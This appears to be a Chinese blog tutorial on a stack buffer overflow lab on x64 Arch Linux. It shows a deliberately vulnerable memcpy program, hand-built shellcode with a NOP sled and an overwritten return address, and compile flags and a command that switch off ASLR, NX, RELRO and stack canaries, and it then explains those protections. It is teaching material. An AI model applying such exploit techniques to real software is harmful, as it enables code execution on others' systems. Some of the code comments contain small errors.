x64 ArchLinux栈溢出实验

it2024-01-17  63

环境:ArchLinux_X64、GCC_v10.2.0

只要对编程有一定了解的同鞋应该都知道这个词,就拿C/CPP来说,在一个程序中他所有的局部变量与函数参数都是存在栈区里的比如

int fun(int i) { int a=0; return a; }

在这个简单的程序里变量i与变量a都存放在函数fun的栈区内 还有一种情况

int b =9; int fun(int i) { int a=0; return a; }

在这里也还是只有变量i与变量a存放在函数fun的栈区内,而变量b是全局变量不在函数fun的栈区内。 说道函数栈就得说说栈帧,栈帧用一句话来概括就是用来管理函数栈的,要知道在一个进程内栈内存只有一块,而函数中的局部变量全部都放在栈内,为了能使程序更加的安全与稳定,必须要对所有函数存放在栈内存中的局部变量进行隔离,这就是栈帧的作用。

再来看看另一种情况

int fun(int i) { int a=0; return a; } int main() { int a=1; fun(0); return 0; }

这里有两个函数,我们肯定不希望main中的变量a或者fun函数中的变量a对对方产生影响,所以就需要有栈帧,我们大概吧上面的代码还原成汇编的伪代码

main: push ebp mov ebp, esp ............ ;其他的汇编指令代码 call fun mov esp, ebp pop ebp ret fun: push ebp mov ebp, esp ......... ;其他的汇编指令代码 mov esp, ebp pop esp ret

大概来讲下流程我们直接开始从call fun来说,当call fun后首先eip寄存器的值会入栈他里面存放的是call fun下一句指令的地址,这些操作完成后执行流程转入fun,push ebp会将原先在main函数中存进ebp中的main函数的栈顶存入栈,然后mov ebp, esp将fun函数的栈顶存入ebp,因为esp寄存器始终指向栈顶,所以在执行完中间省略的代码后执行mov esp, ebp将esp回复到一开始的位置也就是main函数栈的位置,然后在把main函数一开始存放的esp栈顶也恢复到esp中,整个过程栈内情况大致为

如果想了解更多关于栈帧的内容可以去:栈帧

栈溢出

说完上面的内容,我们来设想一下,假如最后的其余局部变量部分过大会发生什么?没错本来应该存放他的那块内存把它放不下了最后多出来的部分就会向上溢出到存放epb与eip的区域内,而了解汇编的同鞋都知道eip寄存器存放的是下一条要执行指令的地址,如果我们把eip的值更改为我们自己的代码所在的位置,那他岂不是就会去执行我们的代码,我们先来编译执行以下程序

void fun1(char* arg) { char buff[64]; memcpy(buff,arg, strlen(arg)); } int main() { char buff[]="AAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAA" fun1(buff); }

执行以上程序就会出现“段错误 (核心已转储)”的提示,有些系统可能会用英文来输出。这条报错很简单就是告诉我们eip指向了一个非法的地址,我们来用gdb调试一下看看 在刚才构造字符串中,最后的十六个字节分别溢出到了栈中本应该存放ebp和eip的区域内,假如我们刚刚构造的字符串起始地址时0x7fffffe4ba所以我们现在构造的payload结构大致应该为 我们先来编写shellcode,我们就简单用shellcode实现输出任意字符串即可,这里需要用汇编进行系统调用调用关于我这段代码的具体解释可查看:nasm示例

global _start section .text _start: xor rax,rax ;异或将寄存器清零 xor rdi,rdi ;异或将寄存器清零 xor rbx,rbx ;异或将寄存器清零 inc rbx ;将rbx寄存器值变为3 inc rbx inc rbx inc rax ;rax值变为1,sys_write的系统调用编号为1 inc rdi ;rdi值变为1第一个参数为1对于stdout push 'you ' ;你要输出的内容,最好少一点 mov rsi, rsp ;rsi表示第三个参数,让第三个参数执行刚刚入栈的字符串 mov rdx, rbx ;将rbx中的3赋值给rdx,rdx为第二个参数此处表示字符串长度(本来应该是4....大意了,不过问题不大只不过少输出一个字符) syscall ;系统调用

使用sudo nasm -felf64 a.asm&sudo ld -o a a.o编译 然后使用objdump -d a来查看汇编指令所对应的16进制编码 然后就是机械化操作复制粘贴,然后我们再来编写一个存在栈溢出漏洞的程序

#include <iostream> #include <string.h> using namespace std; void fun1(char* arg) { char buff[64]; memcpy(buff, arg, strlen(arg)); } int main(int argc, char** argv) { char buff[] = //空指令,为了能溢出并且为shellcode执行提供空间 "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //此处开始为shellcode "\x48\x31\xc0" "\x48\x31\xff" "\x48\x31\xdb" "\x48\xff\xc3" "\x48\xff\xc3" "\x48\xff\xc3" "\x48\xff\xc0" "\x48\xff\xc7" //\x68为指令push,后面的为要入栈也就是要输出的指令 "\x68\x41\x41\x41\x0a" "\x48\x89\xe6" "\x48\x89\xda" "\x0f\x05" //shellcode地址,暂时未知 "\x00\x00\x00\x00\x00\x00\x00\x00"; printf("%lx\n", &buff); fun1(buff); return 0; }

里面有一句printf("%lx\n", &buff);是用来获取buff也就是我们之后shellcode地址的输出语句代码。 在我们构造的字符串前面还一堆\x90这个数字在汇编中对应着空指令nop,放在这里是为了占位确保我们的payload能溢出并且能准确无误的执行shellcode,首先要知道我们构造的payload是有大小限制的,因为本来在不溢出的情况下fun1函数的buff可以存放64字节内容再加上8个字节的ebp后还要再加上8个字节的eip。 64+8+8=80 也就是说我们的payload长度至少应该要>80否则shellcode就无法正常执行 然后现在要先关闭ALSR sudo echo 0 > /proc/sys/kernel/randomize_va_space 然后使用 sudo g++ -o a s.cpp -z execstack -fno-stack-protector -no-pie -z norelro进行编译 至于为什么要这么做之后再说 然后我们执行看看 拿到了shellcode的地址将其“倒叙”写在payload最后

#include <iostream> #include <string.h> using namespace std; void fun1(char* arg) { char buff[64]; memcpy(buff, arg, strlen(arg)); } int main(int argc, char** argv) { char buff[] = //空指令,为了能溢出并且为shellcode执行提供空间 "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //此处开始为shellcode "\x48\x31\xc0" "\x48\x31\xff" "\x48\x31\xdb" "\x48\xff\xc3" "\x48\xff\xc3" "\x48\xff\xc3" "\x48\xff\xc0" "\x48\xff\xc7" //\x68为指令push,后面的为要入栈也就是要输出的指令 "\x68\x79\x6f\x75\x20" "\x48\x89\xe6" "\x48\x89\xda" "\x0f\x05" //shellcode地址 "\xe0\xe4\xff\xff\xff\x7f\x00\x00"; printf("%lx\n", &buff); fun1(buff); return 0; }

现在执行刚刚的编译指令sudo g++ -o a s.cpp -z execstack -fno-stack-protector -no-pie -z norelr编译成功后执行./a查看效果 可以看到shellcode被执行了,至于为什么还有段错误的报错那是因为我的shellcode执行完后没有返回到正确函数中导致程序出错,因为我们在开头加了很多nop所以最后追加的地址稍微往后有点偏差也没有关系只要不大于我们刚刚获取到的‘buff首地址+35’即可(我们加了35个nop),想要这段报错消失那就在shellcode中调用exit的系统调用结束进程即可。

防护措施

在说之前先再来看看刚刚是怎么编译

sudo echo 0 > /proc/sys/kernel/randomize_va_spacesudo g++ -o a s.cpp -z execstack -fno-stack-protector -no-pie -z norelro 1. ALSR(PIE) 看完之前的内容很多人就会有疑问,buff每次加载的地址应该不是固定的,为什么在这里变成了固定的?还及不记得刚刚我们在编译这个溢出程序时的操作? 我们先关闭ALSR sudo echo 0 > /proc/sys/kernel/randomize_va_space 然后再使用 sudo g++ -o a s.cpp -z execstack -fno-stack-protector -no-pie -z norelro进行编译 在这当中ALSR就是可以让栈地址随机化的一种对抗栈溢出漏洞的安全措施,我们因为先关闭了他,所以我们之后的栈地址都是固定的,他有三个等级0,1,2通常情况下2是默认配置表示完全随机,0为彻底关闭,这种安全措施是系统自带的 -no-pie也是为了关闭PIE,不过gcc默认就是关闭PIE的因为系统本身已经有了这种安全机制 2. NX(DEP) NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。 在编译时加上-z execstack参数即可关闭 3. RELRO 在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处。 GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。 设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。 在编译时加上-z norelro参数即可关闭 canary cannary是一项非常古老的栈保护机制,直到现在都是操作系统安全的第一道防线。canary 不管是实现还是设计思想都比较简单高效, 就是插入一个值, 在 stack overflow 发生的 高危区域的尾部, 当函数返回之时检测 canary 的值是否经过了改变, 以此来判断 stack/buffer overflow 是否发生。 这种方法很像windows下的启用GS选项 。 当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary 在编译时加上-fno-stack-protector参数即可关闭
最新回复(0)